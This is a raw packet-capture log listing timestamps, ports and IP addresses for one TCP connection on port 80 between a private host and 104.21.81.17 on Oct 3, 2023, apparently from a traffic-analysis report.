Oct 3, 2023 09:55:41.929867983 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929874897 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.929903030 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929903030 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.929935932 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.929938078 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929972887 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.929975033 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.929994106 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930027962 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930118084 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930155039 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930177927 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930187941 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930205107 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930223942 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930239916 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930257082 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930273056 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930290937 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930305004 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930324078 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930336952 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930371046 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930411100 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930459976 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930474997 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930510044 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930530071 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930541992 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930561066 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930577040 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930592060 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930620909 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930655003 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930686951 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930701017 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930731058 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930766106 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930799007 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930810928 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930831909 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930843115 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930866003 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930876970 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930919886 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.930946112 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.930989981 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931020975 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931063890 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931097031 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931142092 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931173086 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931217909 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931250095 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931282997 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931298018 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931315899 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931333065 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931365013 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931392908 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931426048 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931447029 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931473017 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931499958 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931533098 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931545973 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931566954 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931581020 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931600094 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931615114 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931644917 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931679964 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931714058 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931724072 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931747913 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931765079 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931781054 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931794882 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931832075 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931858063 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931890965 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.931905031 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931936979 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.931967974 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932001114 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932014942 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932046890 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932075977 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932109118 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932132006 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932158947 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932187080 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932219028 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932234049 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932276011 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932293892 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932327032 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932343960 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932377100 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932403088 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932436943 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932451010 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932470083 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932502985 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:41.932508945 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932537079 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:41.932562113 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.025176048 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.025523901 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.035856009 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.035948038 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.035965919 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.035984993 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036001921 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036020041 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036029100 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036036968 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036045074 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036053896 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036067963 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036096096 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036114931 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036178112 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036199093 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036216021 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036267996 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036283970 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036269903 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036331892 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036354065 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036397934 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036438942 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036458969 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036528111 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036556959 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036567926 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036618948 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036618948 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036660910 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036680937 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036727905 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036727905 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036727905 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036727905 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036748886 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036792994 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036813021 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036813021 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036813021 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036813021 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036911011 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036917925 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036911011 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.036968946 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.036994934 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037030935 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037044048 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037095070 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037111044 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037144899 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037170887 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037211895 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037215948 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037252903 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037282944 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037317038 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037328959 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037364006 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037408113 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037431955 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037439108 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037514925 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037516117 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037583113 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037787914 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037853956 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037875891 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037925005 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.037940979 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037967920 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.037986040 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038003922 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038007021 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038036108 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038049936 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038095951 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038116932 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038116932 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038145065 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038170099 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038170099 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038203001 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038207054 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038249016 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038259029 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038286924 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038330078 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038348913 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038360119 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038367987 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038388968 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038403034 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038403988 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038466930 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038496971 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038466930 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038517952 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038551092 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038564920 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038569927 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038599014 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038646936 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038666010 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038691998 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038712978 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038729906 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038743973 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038783073 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038847923 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038886070 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038906097 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038927078 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038944960 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038950920 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.038968086 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.038985968 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039006948 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039014101 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039056063 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039098978 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039098978 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039124012 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039145947 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039164066 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039206028 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039246082 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039246082 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039288998 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039302111 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039341927 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039374113 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039418936 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039423943 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039450884 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039489031 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039508104 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039545059 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039550066 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039572954 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039594889 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039612055 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039634943 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039634943 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039669991 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039693117 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039693117 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039717913 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039725065 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039736986 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039761066 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039777994 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039815903 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039841890 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039855003 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039880037 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039907932 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039954901 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.039971113 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.039971113 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040004015 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040046930 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040086985 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040087938 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040132999 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040163040 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040215015 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040241003 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040263891 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040271044 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040352106 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040370941 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040401936 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040483952 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040509939 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040483952 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040534973 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040555000 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040636063 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040636063 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040664911 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040693045 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040721893 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040745020 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040771008 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040813923 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040847063 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040868044 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040915966 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.040935040 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040935040 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040987968 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.040998936 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041054010 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041064024 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041099072 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041161060 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041169882 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041177988 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041203022 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041244030 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041244984 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041264057 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041266918 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041285038 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041300058 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041371107 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041378021 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041420937 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041421890 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041420937 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041469097 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041517019 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041521072 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041541100 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041589975 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041604042 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041613102 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041634083 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041646004 CEST	49914	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:42.041724920 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041744947 CEST	80	49914	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:42.041766882 CEST	49914	80	192.168.2.3	104.21.81.17
